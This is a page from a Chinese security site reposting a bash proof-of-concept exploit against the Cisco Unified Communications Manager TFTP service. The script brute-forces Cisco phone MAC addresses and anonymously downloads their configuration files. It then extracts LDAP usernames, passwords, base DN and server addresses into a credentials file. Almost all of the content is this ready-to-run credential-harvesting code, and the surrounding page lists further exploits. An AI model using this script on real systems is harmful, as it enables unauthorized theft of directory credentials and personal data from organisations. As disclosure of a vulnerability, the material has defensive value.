首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco Unified Communications Manager - TFTP Service
来源:danielsvartman@gmail.com 作者:svartman 发布时间:2013-12-13  
#!/bin/bash
#######################################################################
# Proof of Concept on how to get tftp config files from cisco phones  #
# This can be performed anonymously and privileges gathered relies on #
# those assigned to the ldap account                                  #
# Developed by Daniel Svartman  (danielsvartman@gmail.com             #
# In case tftp files are encrypted, you will need to hijack a phone   #
# and download the decryption key from the ROM memory                 #
#######################################################################                               
  
# This example below is for enumerating and downloading configuration files from phones
# With this you can gather personal information and sometimes also credentials from LDAP
# The first 8 digits of the MAC address relies on cisco mac address used by phones
# While the last 4 are generated automatically
  
BASE_MAC=$1
TFTP_SERVER=$2
  
perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt
  
#Now we should download the files
while read LINE; do
    tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt
  
#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential"  SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do 
            if [ "$LINE" = "<ProductType>Directory" ]; then
                read LINE
                ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`
                echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
            fi
done < SPDefault.cnf.xml
  
echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Divide Error In Windows Kernel
·Castripper 2.50.70 - (.pls) DE
·EMC Data Protection Advisor DP
·Ability Web Server(ftp) - Remo
·Adobe ColdFusion 9 Administrat
·iScripts AutoHoster PHP Code I
·HP LoadRunner EmulationAdmin W
·PotPlayer 1.5.42509 Beta - DOS
·vBulletin index.php/ajax/api/r
·VUPlayer 2.49 - (.M3U) Univers
·ad GOM Player 2.2.53.5169 - SE
·Adobe Reader ToolButton Use Af
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved